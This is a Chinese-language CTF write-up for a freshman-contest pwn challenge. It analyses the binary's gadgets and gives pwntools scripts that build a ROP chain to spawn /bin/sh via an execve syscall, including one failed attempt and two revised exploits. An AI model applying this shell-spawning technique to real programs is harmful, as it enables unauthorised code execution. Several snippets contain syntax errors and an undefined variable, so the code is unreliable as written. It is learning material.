前言

学校的新生赛,小登是废物,不太会布栈那道(不怎么动调的报应来了),现在分析一下。

[官方的wp | iyheart的博客](https://iyheart.github.io/2025/03/09/CTFblog/write up系列blog/2025年/GHCTF2025-PWN方向wp/)

分析

checksec查看文件,没开任何保护,考虑的做法有ret2shellcode和ret2syscall。

再看ida分析内容,发现程序只有两部分内容,一是打印图像,二是读取。关键在于读取这一部分,发现它不是常规的syscall ret 而是syscall jmp [rsp+8+var_8] (var_8= qword ptr -8),即程序读取后会跳转到rsp所储存的位置。

再试试ropper查看gadget,发现基本上少的可怜,再看ida给出了几条关键的gadgets。

如上所示,给了rsi rdi rdx的gadgets,但是没有rax相关的gadget,再看

哎,xchg可以交换rax和r13的值,所以我们可以控制r13进而控制rax。

至此,分析基本结束,开始布栈

泄漏栈地址

我对这一部分比较熟悉,先做。

我的wp

挺抽象的东西,我的大致思路是借助r15来控制程序流,再进一步修改各个寄存器的值。

from pwn import *
p=process('./stack')

ret = 0x401013
pop_rsi =0x401017
syscall = 0x40100A
xchg_rax_r13=0x40100C
pop_r13=0x40101A
xor_rdx=0x401021

gdb.attach(p)

payload = p64(pop_r13)+p64(pop_rsi)+p64(0)+b:/bin/sh\x00'+p64(0)+p64(0x3b)
payload += p64(xchg_rax_r13) + p64(ret)
payload += p64(xor_rdx)+p64(ret)+p64(syscall)

p.sendline(payload)
p.interactive()

实际动调出来结果是:

分析

看上去似乎是可以的,但实际上就是一坨。程序会卡住,而不是获得shell。

仔细对比我的动调过程和官方的wp的动调过程,得知:

最大的错误:

  • 我是先将pop_r13传入rsp,而不是pop_r15。这种做法导致我基本是是靠r15来控制程序流,而不是rsp。并且最后将xchg_rax_r13的地址传入到r15去,从而导致xchg_rax_r13指令多次发生

其他问题

  • 我传给rdi是b’/bin/sh\x00’这个字符串,但实际上我要传入的是储存/bin/sh\x00的地址

所以我要修改的地方有两处:

  • 泄漏栈地址,将/bin/sh传入栈上
  • 修改栈布局,直接传入pop_r15

布栈思路

我再次仔细看了下gadgets,发现syscall后面跟着的就是xchg和jmp rsp,借助这里的rsp,我们就可以再次控制程序流

具体栈如下:

最终wp

from pwn import *
p=process('./stack')

pop_rsi =0x401017
syscall = 0x40100A
pop_r13=0x40101A
xor_rdx=0x401021
pop_r15=0x40101C

gdb.attach(p)

p.recvuntil(b' (" ~----( ~ Y. )\n')
stack_base = p.recvline()[:6]
stack_base = int.from_bytes(stack_base,'little')
print("stack_base--->",hex(stack_base))

payload = p64(pop_r15)+p64(pop_rsi)
payload += p64(0)+p64(stack_base+0x28) + p64(0)
payload += p64(0x3b) + p64(syscall)
payload += p64(xor_rdx)+ b'/bin/sh\x00'

p.sendline(payload)
p.interactive()

只布栈

构造两个函数,一个read一个system

栈布置如下

exp

from pwn import *
context(arch = 'amd64')
p = process('./stack')

pop_rbx = 0x401019
xchg_rax_r13 = 0x40100c
pop_r15 = 0x40101C
pop_rsi = 0x401017
bss = 0x402000
syscall = 0x40100A
xor_rdx=0x401021
//read部分
payload = p64(pop_rbx) + p64(0x0) + p64(xchg_rax_r13) + p64(pop_r15) + p64(pop_rsi)
payload += p64(bss) + p64(0x0) + p64(0x0)
payload += p64(0x0) + p64(syscall) 
//system部分
payload +=p64(pop_r15) +p64(pop_r15)
payload += p64(0x0) + p64(bss) + p64(0x0) + p64(0x3b) + p64(syscall) + p64(xor_rdx)
p.sendlineafter(b'>>',a)

p.send(b'/bin/sh\x00')

p.interactive()